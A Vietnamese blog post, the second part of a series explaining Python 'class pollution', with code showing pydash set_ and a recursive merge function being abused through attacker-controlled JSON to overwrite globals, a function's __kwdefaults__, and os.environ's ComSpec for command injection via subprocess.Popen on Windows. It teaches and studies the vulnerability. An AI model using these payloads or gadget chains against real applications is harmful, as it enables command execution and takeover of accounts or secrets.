+9

Bạn đã biết về lỗ hổng Class Pollution trong Python hay chưa (P2)?

Phần 1 của bài viết mình đã publish khá lâu trước đó. Đây là link phần 1 cho bạn nào chưa đọc. https://viblo.asia/p/ban-da-biet-ve-lo-hong-class-pollution-trong-python-hay-chua-p1-3kY4g5zxLAe.

Ở phần 2 này, mình sẽ trình bày và giải thích 1 số gadget, 1 số case thực tế của lỗ hổng này. Tuy lỗ hổng này chưa thực sự có impact gì nhiều (ít ra cho đến thời điểm hiện tại) nhưng theo quan điểm cá nhân của mình thì nó đáng giá để nghiên cứu và đào sâu hơn.

Link bài viết gốc của tác giả các bạn có thể truy cập tại đây : https://blog.abdulrah33m.com/prototype-pollution-in-python/.

Ví dụ thực tế về Merge Function

Hãy cùng xem các ví dụ thực tế về việc triển khai merge function.

Lodash là một trong những thư viện JavaScript nơi lỗ hổng prototype pollution đã được phát hiện và báo cáo nhiều lần. Bây giờ tôi sẽ giới thiệu cho bạn cách triển khai Lodash bằng Python, đó là thư viện Pydash. Các hàm trong thư viện Pydash bao gồm set_set_with là ví dụ về các recursive merge functions mà chúng ta có thể tận dụng để pollute các thuộc tính.

Điều tuyệt vời nhất là cả set_set_with đều cho phép chúng ta di chuyển giữa các thuộc tính và items của đối tượng trong dict. Các tham số được truyền vào set_set_with bao gồm:

  • Đối tượng ta cần set thuộc tính.
  • Tên của thuộc tính cần set
  • Giá trị để set cho thuộc tính

Ví dụ dưới đây thể hiện rõ cách sử dụng của set_

import pydash

class User:
    def __init__(self):
        pass

class NotAccessibleClass: pass
not_accessible_variable = 'Hello'

pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable)

pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass)

#> Polluted variable
#> <class '__main__.PollutedClass'>

Một số gadget thú vị

Như mọi khi, trong lỗ hổng Prototype Pollution, impact của lỗ hổng phụ thuộc vào ứng dụng và các gadget có sẵn được tận dụng.

Mặc dù tôi không thể liệt kê tất cả các gadget mà bạn có thể tìm thấy nhưng trong phần này tôi sẽ cố gắng trình bày một số gadget thú vị mà bạn có thể gặp khi khai thác lỗ hổng class pollution.

subprocess.Popen on Windows

Trong ví dụ này, chúng ta có thể đặt bất kỳ thuộc tính hoặc item nào cho đối tượng mới được tạo của lớp Employee, bằng cách cung cấp payload dưới dạng JSON như được trình bày trước đó. Sau khi hàm merge được thực hiện, subprocess.Popen('whoami', shell=True) sẽ thực thi lệnh whoami.Bạn có thể thấy lệnh whoami được fix cứng trong mã nguồn. Vậy làm thế nào để chúng ta có thể khai thác Class Pollution ở đây. Mục tiêu của chúng ta ở đây là chiếm quyền thực thi hàm Popen để thực thi các lệnh tùy ý thay vì lệnh whoami.

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

emp_info = json.loads('{"name": "employee"}') # attacker-controlled value

merge(emp_info, Employee())

subprocess.Popen('whoami', shell=True)

Cùng xem xét kĩ hơn về source code của mô-đun subprocess và quan sát Popen hoạt động như thế nào trên Windows.

image.png

Trong hàm __init__ của class Popen gọi đến hàm _execute_child. Hàm này thực hiện các program trên Windows

image.png

Nhảy vào hàm này và quan sát source code

if shell:
    startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW
    startupinfo.wShowWindow = _winapi.SW_HIDE
    if not executable:
        # gh-101283: without a fully-qualified path, before Windows
        # checks the system directories, it first looks in the
        # application directory, and also the current directory if
        # NeedCurrentDirectoryForExePathW(ExeName) is true, so try
        # to avoid executing unqualified "cmd.exe".
        comspec = os.environ.get('ComSpec')
        if not comspec:
            system_root = os.environ.get('SystemRoot', '')
            comspec = os.path.join(system_root, 'System32', 'cmd.exe')
            if not os.path.isabs(comspec):
                raise FileNotFoundError('shell not found: neither %ComSpec% nor %SystemRoot% is set')
        if os.path.isabs(comspec):
            executable = comspec
    else:
        comspec = executable

    args = '{} /c "{}"'.format (comspec, args)

Chúng ta nhận thấy rằng có một câu lệnh if để kiểm tra xem đối số shell có được đặt thành True hay không, nếu nó được đặt thành True, nó sẽ lấy đường dẫn của cmd.exe từ các biến môi trường của người dùng để thực thi lệnh. Ngược lại nếu biến môi trường ComSpec không được xác định thì nó sẽ đặt biến comspec thành C:\WINDOWS\system32\cmd.exe. Vì vậy, nếu chúng ta kiểm soát giá trị của ComSpec trong os.environ, chúng ta sẽ có thể thực thi các lệnh tùy ý.

Gadget chain mà chúng ta cần sử dụng để ghi đè biến môi trường ComSpec có thể được giải thích như sau:

  • Chúng ta sẽ bắt đầu bằng cách truy cập bất kỳ phương thức nào của đối tượng Employee để có thể truy cập thuộc tính __globals__, đó là __init__ trong trường hợp của chúng ta.
  • Sử dụng __globals__ chúng ta sẽ có thể truy cập mô-đun subprocess vì nó đã được import vào trong mã nguồn của chúng ta.
  • Trên những dòng đầu tiên của mô-đun subprocess, chúng ta có thể thấy rằng mô-đun os mà chúng ta cần để truy cập biến environ đã được import. Nếu mô-đun os đã được import trực tiếp vào script của chúng ta, ta có thể truy cập trực tiếp vào nó bằng cách sử dụng __init__.__globals__.os mà không cần sử dụng subprocess.image.png
  • Cuối cùng, sau khi vào mô-đun os, chúng ta có thể ghi đè giá trị ComSpec bên trong environ để thực hiện command injection

image.png

Ghi đè tham số __kwdefaults__

__kwdefaults__ là một thuộc tính đặc biệt của tất cả các hàm. Thuộc tính này chứa giá trị mặc định của các tham số từ khóa (keyword arguments) của một hàm hoặc phương thức. Khi bạn định nghĩa một hàm hoặc phương thức trong Python, bạn có thể sử dụng các tham số từ khóa mặc định để xác định giá trị mặc định cho các tham số đó. Ví dụ:

def greet(name="Guest", greeting="Hello"):
    return f"{greeting}, {name}!"

Trong ví dụ này, name và greeting là các tham số từ khóa có giá trị mặc định là "Guest" và "Hello". Khi bạn gọi hàm greet() mà không truyền giá trị cho các tham số này, giá trị mặc định sẽ được sử dụng.

Thuộc tính __kwdefaults__ chứa thông tin về các giá trị mặc định của các tham số từ khóa trong hàm. Đây là một ví dụ minh họa:

def greet(name="Guest", greeting="Hello"):
    return f"{greeting}, {name}!"

# Truy cập __kwdefaults__ của hàm greet
defaults = greet.__kwdefaults__

print(defaults)
# Kết quả: {'name': 'Guest', 'greeting': 'Hello'}

Pollute thuộc tính này cho phép chúng ta kiểm soát các giá trị mặc định của các tham số, đây là các tham số của hàm nằm sau * hoặc *args.

import json

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Employee:
    def __init__(self):
        pass

def print_message(*, message='Hello there'):
    print(message)

print(print_message.__kwdefaults__)
print_message()

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(print_message.__kwdefaults__)
print_message()

#> {'message': 'Hello there'}
#> Hello there

#> {'message': 'Polluted default value'}
#> Polluted default value

Những gadget khác

Sẽ còn rất nhiều hướng khác dành cho các bạn nghiên cứu thêm về lỗ hổng này. Chẳng hạn:

  • Ghi đè secret của Flask app. Từ đó chiếm quyền admin hoặc user
  • Ghi đè path trong os.environ
  • .....

All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí